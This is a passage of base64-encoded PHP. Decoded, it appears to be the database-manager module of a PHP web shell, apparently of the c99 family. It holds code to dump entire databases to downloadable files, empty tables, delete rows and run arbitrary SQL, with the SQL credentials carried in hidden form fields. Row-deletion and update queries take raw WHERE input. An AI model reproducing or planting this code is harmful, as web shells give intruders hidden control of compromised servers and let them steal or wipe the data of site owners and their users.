UCBUQUJMRSI7DQogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRib3h0YmwgYXMgJHYpDQog
ICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWxfcXVlcnkg
Lj0gIlxuYCIgLiAkdiAuICJgICwiOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAg
ICAgICAgICAgICRzcWxfcXVlcnkgPSBzdWJzdHIoJHNxbF9xdWVyeSwgMCwgLTEpIC4gIjsiOw0K
ICAgICAgICAgICAgICAgICAgICAkc3FsX2FjdCA9ICJxdWVyeSI7DQogICAgICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgICAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGVtcHR5IikNCiAgICAg
ICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRzcWxfcXVlcnkgPSAiIjsNCiAgICAg
ICAgICAgICAgICAgICAgZm9yZWFjaCAoJGJveHRibCBhcyAkdikNCiAgICAgICAgICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbF9xdWVyeSAuPSAiREVMRVRFIEZST00g
YCIgLiAkdiAuICJgIFxuIjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAg
ICAgICAkc3FsX2FjdCA9ICJxdWVyeSI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
ICAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGR1bXAiKQ0KICAgICAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICAgICAgaWYgKGNvdW50KCRib3h0YmwpID4gMCkNCiAgICAgICAgICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGRtcHRibHMgPSAkYm94dGJsOw0KICAg
ICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoJHRoaXN0Ymwp
DQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkbXB0Ymxz
ID0gYXJyYXkoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbF90YmwNCiAgICAgICAg
ICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICAgICAgJHNxbF9hY3QgPSAiZHVtcCI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
ICAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGNoZWNrIikNCiAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgICAgICRzcWxfcXVlcnkgPSAiQ0hFQ0sgVEFCTEUiOw0KICAgICAgICAg
ICAgICAgICAgICBmb3JlYWNoICgkYm94dGJsIGFzICR2KQ0KICAgICAgICAgICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsX3F1ZXJ5IC49ICJcbmAiIC4gJHYgLiAiYCAs
IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkc3FsX3F1ZXJ5
ID0gc3Vic3RyKCRzcWxfcXVlcnksIDAsIC0xKSAuICI7IjsNCiAgICAgICAgICAgICAgICAgICAg
JHNxbF9hY3QgPSAicXVlcnkiOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBl
bHNlaWYgKCRzcWxfYWN0ID09ICJ0YmxvcHRpbWl6ZSIpDQogICAgICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgICAgICAkc3FsX3F1ZXJ5ID0gIk9QVElNSVpFIFRBQkxFIjsNCiAgICAgICAg
ICAgICAgICAgICAgZm9yZWFjaCAoJGJveHRibCBhcyAkdikNCiAgICAgICAgICAgICAgICAgICAg
ew0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbF9xdWVyeSAuPSAiXG5gIiAuICR2IC4gImAg
LCI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHNxbF9xdWVy
eSA9IHN1YnN0cigkc3FsX3F1ZXJ5LCAwLCAtMSkgLiAiOyI7DQogICAgICAgICAgICAgICAgICAg
ICRzcWxfYWN0ID0gInF1ZXJ5IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
ZWxzZWlmICgkc3FsX2FjdCA9PSAidGJscmVwYWlyIikNCiAgICAgICAgICAgICAgICB7DQogICAg
ICAgICAgICAgICAgICAgICRzcWxfcXVlcnkgPSAiUkVQQUlSIFRBQkxFIjsNCiAgICAgICAgICAg
ICAgICAgICAgZm9yZWFjaCAoJGJveHRibCBhcyAkdikNCiAgICAgICAgICAgICAgICAgICAgew0K
ICAgICAgICAgICAgICAgICAgICAgICAgJHNxbF9xdWVyeSAuPSAiXG5gIiAuICR2IC4gImAgLCI7
DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHNxbF9xdWVyeSA9
IHN1YnN0cigkc3FsX3F1ZXJ5LCAwLCAtMSkgLiAiOyI7DQogICAgICAgICAgICAgICAgICAgICRz
cWxfYWN0ID0gInF1ZXJ5IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxz
ZWlmICgkc3FsX2FjdCA9PSAidGJsYW5hbHl6ZSIpDQogICAgICAgICAgICAgICAgew0KICAgICAg
ICAgICAgICAgICAgICAkc3FsX3F1ZXJ5ID0gIkFOQUxZWkUgVEFCTEUiOw0KICAgICAgICAgICAg
ICAgICAgICBmb3JlYWNoICgkYm94dGJsIGFzICR2KQ0KICAgICAgICAgICAgICAgICAgICB7DQog
ICAgICAgICAgICAgICAgICAgICAgICAkc3FsX3F1ZXJ5IC49ICJcbmAiIC4gJHYgLiAiYCAsIjsN
CiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkc3FsX3F1ZXJ5ID0g
c3Vic3RyKCRzcWxfcXVlcnksIDAsIC0xKSAuICI7IjsNCiAgICAgICAgICAgICAgICAgICAgJHNx
bF9hY3QgPSAicXVlcnkiOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNl
aWYgKCRzcWxfYWN0ID09ICJkZWxldGVyb3ciKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAg
ICAgICAgICAgICAgJHNxbF9xdWVyeSA9ICIiOw0KICAgICAgICAgICAgICAgICAgICBpZiAoIWVt
cHR5KCRib3hyb3dfYWxsKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICAgICAgJHNxbF9xdWVyeSA9ICJERUxFVEUgKiBGUk9NIGAiIC4gJHNxbF90YmwgLiAiYDsi
Ow0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAg
ICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGJveHJv
dyBhcyAkdikNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAkc3FsX3F1ZXJ5IC49ICJERUxFVEUgKiBGUk9NIGAiIC4gJHNxbF90YmwgLiAiYCBX
SEVSRSIgLiAkdiAuICIgTElNSVQgMTtcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQog
ICAgICAgICAgICAgICAgICAgICAgICAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksIDAs
IC0xKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkc3FsX2Fj
dCA9ICJxdWVyeSI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2VpZiAo
JHNxbF90YmxfYWN0ID09ICJpbnNlcnQiKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICAgICAgaWYgKCRzcWxfdGJsX2luc2VydF9yYWRpbyA9PSAxKQ0KICAgICAgICAgICAgICAg
ICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAka2V5cyA9ICIiOw0KICAgICAgICAgICAg
ICAgICAgICAgICAgJGFrZXlzID0gYXJyYXlfa2V5cygkc3FsX3RibF9pbnNlcnQpOw0KICAgICAg
ICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGFrZXlzIGFzICR2KQ0KICAgICAgICAgICAgICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRrZXlzIC49ICJgIiAuIGFk
ZHNsYXNoZXMoJHYpIC4gImAsICI7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAg
ICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRrZXlzKSkNCiAgICAgICAgICAgICAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAka2V5cyA9IHN1YnN0cigka2V5cywg
MCwgc3RybGVuKCRrZXlzKSAtIDIpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAg
ICAgICAgICAgICAgICAgICAgJHZhbHVlcyA9ICIiOw0KICAgICAgICAgICAgICAgICAgICAgICAg
JGkgPSAwOw0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXlfdmFsdWVzKCRz
cWxfdGJsX2luc2VydCkgYXMgJHYpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgaWYgKCRmdW5jdCA9ICRzcWxfdGJsX2luc2VydF9mdW5jdHNb
JGFrZXlzWyRpXV0pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAkdmFsdWVzIC49ICRmdW5jdCAuICIgKCI7DQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2YWx1ZXMg
Lj0gIiciIC4gYWRkc2xhc2hlcygkdikgLiAiJyI7DQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgaWYgKCRmdW5jdCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICR2YWx1ZXMgLj0gIikiOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdmFsdWVzIC49ICIsICI7
DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsNCiAgICAgICAgICAgICAgICAgICAg
ICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHZhbHVlcykpDQogICAg
ICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHZhbHVl
cyA9IHN1YnN0cigkdmFsdWVzLCAwLCBzdHJsZW4oJHZhbHVlcykgLSAyKTsNCiAgICAgICAgICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWxfcXVlcnkgPSAiSU5T
RVJUIElOVE8gYCIgLiAkc3FsX3RibCAuICJgICggIiAuICRrZXlzIC4gIiApIFZBTFVFUyAoICIg
LiAkdmFsdWVzIC4gIiApOyI7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsX2FjdCA9ICJx
dWVyeSI7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsX3RibF9hY3QgPSAiYnJvd3NlIjsN
CiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBlbHNlaWYgKCRzcWxf
dGJsX2luc2VydF9yYWRpbyA9PSAyKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAg
ICAgICAgICAgICAgICAkc2V0ID0gbXlzcWxfYnVpbGR3aGVyZSgkc3FsX3RibF9pbnNlcnQsICIs
ICIsICRzcWxfdGJsX2luc2VydF9mdW5jdHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHNx
bF9xdWVyeSA9ICJVUERBVEUgYCIgLiAkc3FsX3RibCAuICJgIFNFVCAiIC4gJHNldCAuICIgV0hF
UkUgIiAuICRzcWxfdGJsX2luc2VydF9xIC4gIiBMSU1JVCAxOyI7DQogICAgICAgICAgICAgICAg
ICAgICAgICAkcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSkgb3IgcHJpbnQgKG15c3Fs
X3NtYXJ0ZXJyb3IoKSk7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxf
ZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfQVNTT0MpOw0KICAgICAgICAgICAgICAgICAgICAg
ICAgJHNxbF9hY3QgPSAicXVlcnkiOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHNxbF90Ymxf
YWN0ID0gImJyb3dzZSI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9
DQogICAgICAgICAgICAgICAgaWYgKCRzcWxfYWN0ID09ICJxdWVyeSIpDQogICAgICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7
DQogICAgICAgICAgICAgICAgICAgIGlmICgoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1
bHQpIGFuZCAoJHNxbF9jb25maXJtKSkNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAg
ICAgICAgICAgICAgICAgaWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKQ0KICAgICAgICAgICAgICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWxfcXVlcnlfZXJyb3IgPSAi
UXVlcnkgd2FzIGVtcHR5IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAg
ICAgICAgICAgICAgIGVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIgLiAkc3FsX3F1ZXJ5X2Vycm9y
IC4gIjxicj4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlm
ICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpDQogICAgICAgICAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWxfYWN0ID0gJHNxbF9nb3RvOw0KICAg
ICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGlmICgoISRzdWJtaXQpIG9y
ICgkc3FsX2FjdCkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAg
ICAgIGVjaG8gIjx0YWJsZSBib3JkZXI9XCIwXCIgd2lkdGg9XCIxMDAlXCIgaGVpZ2h0PVwiMVwi
Pjx0cj48dGQ+PGZvcm0gYWN0aW9uPVwiIiAuICRzcWxfc3VybCAuICJcIiBtZXRob2Q9XCJQT1NU
XCI+PGI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJHNxbF9xdWVyeSkgYW5kICgh
JHN1Ym1pdCkpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvOiI7DQogICAgICAgICAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiU1FMLVF1ZXJ5IDoi
Ow0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNo
byAiPC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9XCJzcWxfcXVlcnlcIiBjb2xzPVwiMTAwXCIg
cm93cz1cIjEwXCI+IiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSkgLiAiPC90ZXh0YXJl
YT48YnI+PGJyPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9hY3RcIiB2YWx1ZT1c
InF1ZXJ5XCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3RibFwiIHZhbHVlPVwi
IiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpIC4gIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVu
XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiMVwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFt
ZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIiIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX2dvdG8pIC4g
IlwiPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInNxbF9jb25maXJtXCIgdmFsdWU9XCJZ
ZXNcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90
ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAg
IH0NCiAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJHNxbF9hY3QsICRhY3RzKSkNCiAgICAg
ICAgICAgICAgICB7ID8+PHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSI+
PHRyPjx0ZCB3aWR0aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkNyZWF0ZSBuZXcgdGFibGU6PC9iPjxm
b3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5h
bWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIg
dmFsdWU9Im5ld3RibCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2RiIiB2YWx1ZT0i
PD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpOyA/PiI+PGlucHV0IHR5cGU9Imhp
ZGRlbiIgbmFtZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJz
KCRzcWxfbG9naW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIg
dmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5w
dXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1s
c3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9
InNxbF9wb3J0IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7
ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX25ld3RibCIgc2l6ZT0iMjAiPiZuYnNw
OzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJDcmVhdGUiPjwvZm9ybT48L3RkPjx0ZCB3aWR0
aD0iMzAlIiBoZWlnaHQ9IjEiPjxiPkR1bXAgREI6PC9iPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNo
byAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+
PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX2FjdCIgdmFsdWU9ImR1bXAiPjxpbnB1dCB0
eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9kYiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxj
aGFycygkc3FsX2RiKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIg
dmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1
dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxz
cGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0i
c3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZl
cik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhw
IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PGlucHV0IHR5cGU9InRleHQi
IG5hbWU9ImR1bXBfZmlsZSIgc2l6ZT0iMzAiIHZhbHVlPSI8P3BocCBlY2hvICJkdW1wXyIgLiBn
ZXRlbnYoIlNFUlZFUl9OQU1FIikgLiAiXyIgLiAkc3FsX2RiIC4gIl8iIC4gZGF0ZSgiZC1tLVkt
SC1pLXMiKSAuICIuc3FsIjsgPz4iPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9XCJz
dWJtaXRcIiB2YWx1ZT0iRHVtcCI+PC9mb3JtPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0i
MSI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9IjMwJSIgaGVpZ2h0PSIxIj48L3RkPjx0ZCB3aWR0
aD0iMzAlIiBoZWlnaHQ9IjEiPjwvdGQ+PHRkIHdpZHRoPSIzMCUiIGhlaWdodD0iMSI+PC90ZD48
L3RyPjwvdGFibGU+PD9waHAgaWYgKCFlbXB0eSgkc3FsX2FjdCkpDQogICAgICAgICAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hh
ZGU+IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICBpZiAoJHNx
bF9hY3QgPT0gIm5ld3RibCIpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICAgICAgICAgIGVjaG8gIjxiPiI7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoKG15c3Fs
X2NyZWF0ZV9kYigkc3FsX25ld2RiKSkgYW5kICghZW1wdHkoJHNxbF9uZXdkYikpKQ0KICAgICAg
ICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkRC
IFwiIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9uZXdkYikgLiAiXCIgaGFzIGJlZW4gY3JlYXRl
ZCB3aXRoIHN1Y2Nlc3MhPC9iPjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkNhbid0IGNyZWF0ZSBEQiBcIiIgLiBodG1s
c3BlY2lhbGNoYXJzKCRzcWxfbmV3ZGIpIC4gIlwiLjxicj5SZWFzb246PC9iPiAiIC4gbXlzcWxf
c21hcnRlcnJvcigpOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAg
ICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gImR1bXAiKQ0K
ICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHko
JHN1Ym1pdCkpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgJGRpcGxheSA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVj
aG8gIjxmb3JtIG1ldGhvZD1cIkdFVFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImFj
dFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2FjdFwi
IHZhbHVlPVwiZHVtcFwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9kYlwiIHZh
bHVlPVwiIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikgLiAiXCI+PGlucHV0IHR5cGU9XCJo
aWRkZW5cIiBuYW1lPVwic3FsX2xvZ2luXCIgdmFsdWU9XCIiIC4gaHRtbHNwZWNpYWxjaGFycygk
c3FsX2xvZ2luKSAuICJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dk
XCIgdmFsdWU9XCIiIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkgLiAiXCI+PGlucHV0
IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3NlcnZlclwiIHZhbHVlPVwiIiAuIGh0bWxzcGVj
aWFsY2hhcnMoJHNxbF9zZXJ2ZXIpIC4gIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1c
InNxbF9wb3J0XCIgdmFsdWU9XCIiIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpIC4gIlwi
PjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIgLiBodG1s
c3BlY2lhbGNoYXJzKCRzcWxfdGJsKSAuICJcIj48Yj5TUUwtRHVtcDo8L2I+PGJyPjxicj4iOw0K
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxiPkRCOjwvYj4mbmJzcDs8aW5wdXQg
dHlwZT1cInRleHRcIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiIC4gdXJsZW5jb2RlKCRzcWxf
ZGIpIC4gIlwiPjxicj48YnI+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdiA9IGpv
aW4oIjsiLCAkZG1wdGJscyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGI+
T25seSB0YWJsZXMgKGV4cGxvZGUgXCI7XCIpJm5ic3A7PGI+PHN1cD4xPC9zdXA+PC9iPjo8L2I+
Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImRtcHRibHNcIiB2YWx1ZT1cIiIgLiBo
dG1sc3BlY2lhbGNoYXJzKCR2KSAuICJcIiBzaXplPVwiIiAuIChzdHJsZW4oJHYpICsgNSkgLiAi
XCI+PGJyPjxicj4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZHVtcF9maWxl
KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgJHRtcCA9ICRkdW1wX2ZpbGU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
fQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0bXAgPSBodG1sc3Bl
Y2lhbGNoYXJzKCIuL2R1bXBfIiAuIGdldGVudigiU0VSVkVSX05BTUUiKSAuICJfIiAuICRzcWxf
ZGIgLiAiXyIgLiBkYXRlKCJkLW0tWS1ILWktcyIpIC4gIi5zcWwiKTsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGI+Rmls
ZTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kdW1wX2ZpbGVcIiB2
YWx1ZT1cIiIgLiAkdG1wIC4gIlwiIHNpemU9XCIiIC4gKHN0cmxlbigkdG1wKSArIHN0cmxlbigk
dG1wKSAlIDMwKSAuICJcIj48YnI+PGJyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ZWNobyAiPGI+RG93bmxvYWQ6IDwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFt
ZT1cInNxbF9kdW1wX2Rvd25sb2FkXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48YnI+PGJyPiI7DQog
ICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGI+U2F2ZSB0byBmaWxlOiA8L2I+Jm5i
c3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzcWxfZHVtcF9zYXZldG9maWxlXCIg
dmFsdWU9XCIxXCIgY2hlY2tlZD4iOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8g
Ijxicj48YnI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCJE
dW1wXCI+PGJyPjxicj48Yj48c3VwPjE8L3N1cD48L2I+IC0gYWxsLCBpZiBlbXB0eSI7DQogICAg
